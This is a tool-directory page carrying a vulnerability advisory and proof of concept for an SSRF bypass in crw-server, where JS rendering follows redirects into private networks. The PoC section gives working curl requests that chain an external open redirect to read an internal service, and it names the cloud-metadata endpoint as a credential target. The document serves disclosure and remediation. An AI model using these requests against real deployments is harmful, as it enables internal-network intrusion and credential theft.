Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
crw-PoC — PoC — SSRF via JS-rendering tier bypass of the URL safety filter in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5). | Kitploit
Tools/GitHubGitHub/squeeze440/crw-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF via JS-rendering tier bypass of the URL safety filter in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

View Repository
7 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

crw: security advisory

CVE status: requested, pending assignment. This finding is published as GHSA-5jp3-339h-vxqw. On CVE assignment this repository is renamed CVE-YYYY-NNNNN-crw-PoC and this banner is replaced with the CVE link.

ResearcherDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (High)
WeaknessCWE-918

Summary

In crw-server, the SSRF allow/deny-list (crw_core::url_safety) is enforced only once, against the caller-supplied url, before the request is dispatched to a renderer; the CDP-driven JS-rendering tiers (LightPanda — the default JS renderer — and Chrome) then drive the target page via Page.navigate and follow every subsequent redirect, JS-triggered navigation, and in-page XHR/fetch entirely inside the browser's own network stack, with no further call into url_safety at any point, allowing an authenticated (or, on a default no-key deployment, unauthenticated) caller who sets renderJs:true to pivot the crawler into RFC1918/loopback/link-local address space via a single external open redirect and read back the internal service's response in the API response body.

Product

fastCRW / crw — crw-server (REST API, also reachable identically through the in-process crw-mcp MCP tool layer, which calls the same crw_server::routes::mcp::call_tool code path).

Tested Version

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, tip of main at test time), built and run via the project's own docker-compose.yml --profile heavy.

Estimated CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)

  • PR:N: the shipped self-host default (config.docker.toml) has no [auth]/api_keys section, matching the "open by design" default already documented in GHSA-qq8c-fch4-cxq7. A deployment that does configure API keys downgrades this to PR:L (any single authenticated tenant can still pivot the shared engine into whatever internal network it runs on) — the bug is not mitigated by adding keys, only re-gated.
  • I:N/A:N: the PoC demonstrates read-back of an internal HTTP response (confidentiality). No write/state-changing action against an internal target was exercised or is claimed.
  • S:U: disclosure is mediated entirely through the vulnerable component's own API response channel.

Details

Root cause: the CDP/browser renderer path never calls crw_core::url_safety after the one check done at the route layer.

  • crates/crw-server/src/routes/scrape.rs:29-34 (identically in crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — the only SSRF check in the entire request lifecycle for a JS-rendered request: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) runs once against the caller's literal url, before the renderer is ever invoked.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner's work future sends Page.navigate with the raw url straight to the CDP endpoint (shared by both the chrome and lightpanda tiers — both speak CDP through this same function). Chrome/LightPanda then performs its own DNS resolution and follows any server-side redirect, <meta http-equiv="refresh">, or JS location change internally. No call into url_safety exists anywhere in cdp.rs.
  • crates/crw-renderer/src/blocklist.rs:1-124 — the only per-request Fetch.requestPaused interception logic that runs during a CDP render (wired in cdp.rs around lines 930-1002). It filters ad/tracker hosts and blocked resource types (images, fonts, etc.) for bandwidth/noise reasons only — it never checks a request's destination against private/loopback/link-local ranges.
  • crates/crw-crawl/src/single.rs:559-569 — the only place the post-navigation final_url is inspected at all. redirect_is_material() only decides whether to attach a cosmetic "redirected_to: <url>" string to data.warnings (to flag "you got the wrong page," per the comment referencing northernair.ca) — it never calls url_safety::validate_safe_url* and never fails the request.
  • Contrast: crates/crw-renderer/src/http_only.rs:291 — the plain-HTTP (non-JS) tier correctly wraps its reqwest::Client in crw_core::url_safety::safe_redirect_policy(), which re-validates (with DNS resolution) every redirect hop. This is exactly the protection missing from the CDP tiers. Dynamically confirmed: the same PoC request with renderJs:false is correctly rejected ("error following redirect", see baseline screenshot).

Proof of Concept

Dynamically confirmed against the project's own docker-compose.yml --profile heavy stack (crw + lightpanda + chrome, built from the tested commit).

  1. Stood up an "internal service" stand-in on the same Docker bridge network as crw/chrome/lightpanda (docker network: source_default), at private address 172.19.0.6 — a plain nginx container serving a page with realistic internal-looking content (title "Internal Ops Console", a session-token-shaped value).
  2. Baseline — confirm the filter works normally:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (screenshot: evidence/ssrf_baseline_blocked.png)
  3. Bypass — same redirect, JS-rendering tier requested:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Result: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — the internal server's content is returned to the caller; the tool's own redirected_to warning shows it knows it followed the request to the blocked address and returns the content anyway. (screenshot: evidence/ssrf_chrome_tier_bypass.png)
  4. Confirmed the bypass also fires on the default fallback chain with no explicit renderer pin ("renderJs":true alone — the ordinary way a caller asks for JS rendering): the ladder picked lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") and returned the same internal content, proving both CDP tiers (not just chrome) share the gap.

https://httpbin.org/redirect-to stands in for "any externally reachable URL that 302s"; a real attacker would host this on their own domain. 172.19.0.6 stands in for any address in the ranges url_safety is designed to block (RFC1918, loopback, link-local/169.254.169.254 cloud metadata, .internal) — the bypass happens before any range check runs (the CDP path never calls url_safety at all), so it is not specific to this one blocked range. A live cloud-metadata endpoint was not available in this local lab, so that specific target was not directly exercised; it is a direct, code-traced extrapolation, not an untested claim.

Impact

Any caller able to reach /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, their batch/v2 equivalents, or the equivalent MCP tools — with renderJs:true — can use the target crw deployment as an open internal-network proxy: read responses from the deployer's loopback services, RFC1918-addressed internal services (databases, admin panels, internal APIs), and — on any cloud-hosted deployment — the instance's cloud-metadata endpoint (169.254.169.254), potentially recovering IAM/instance credentials. On the shipped self-host default (no API keys configured) this requires no authentication at all.

Weaknesses

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Remediation

The Fetch.requestPaused interception pump already wired into the CDP tiers (crates/crw-renderer/src/cdp.rs, driven by Blocklist in blocklist.rs) is the natural choke point: extend it (or add a sibling check invoked from the same pump, for both the chrome and lightpanda backends) to call crw_core::url_safety::validate_safe_url against every intercepted request's URL — covering the initial navigation, every redirect hop, every JS-driven navigation, and every same-page XHR/fetch/iframe load — and Fetch.failRequest anything that resolves to a blocked host, matching what safe_redirect_policy() already does for the http_only tier. Note this means Fetch.enable/interception can no longer stay conditionally off when SSRF protection depends on it running. As defense in depth, also turn the existing post-navigation final_url check in crates/crw-crawl/src/single.rs:559-569 from a cosmetic warnings entry into a hard failure via url_safety::validate_safe_url_resolved, to catch whatever slips past interception (e.g. a very first response racing Fetch.enable's setup).

Credit

Dostxodjayev Abdullox

Reporting Channel

.github/SECURITY.md (rendered at https://github.com/us/crw/security): GitHub Private Vulnerability Reporting is the preferred channel ("open a report from the Security tab of this repository"), with [email protected] as the email fallback. Confirmed genuinely live and open for this repo: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, and a live "Report a vulnerability" button was observed on https://github.com/us/crw/security (linking to https://github.com/us/crw/security/advisories/new). Scope statement on that page explicitly includes "The crw-server binary and all workspace crates in this repository" and "The MCP server (crw-mcp)"; it excludes "Third-party headless browsers (Chromium, Lightpanda) invoked by the renderer" — this finding is about crw's own missing validation around the CDP navigation call, not a bug in Chromium/Lightpanda itself, so it is in scope.

Download Tool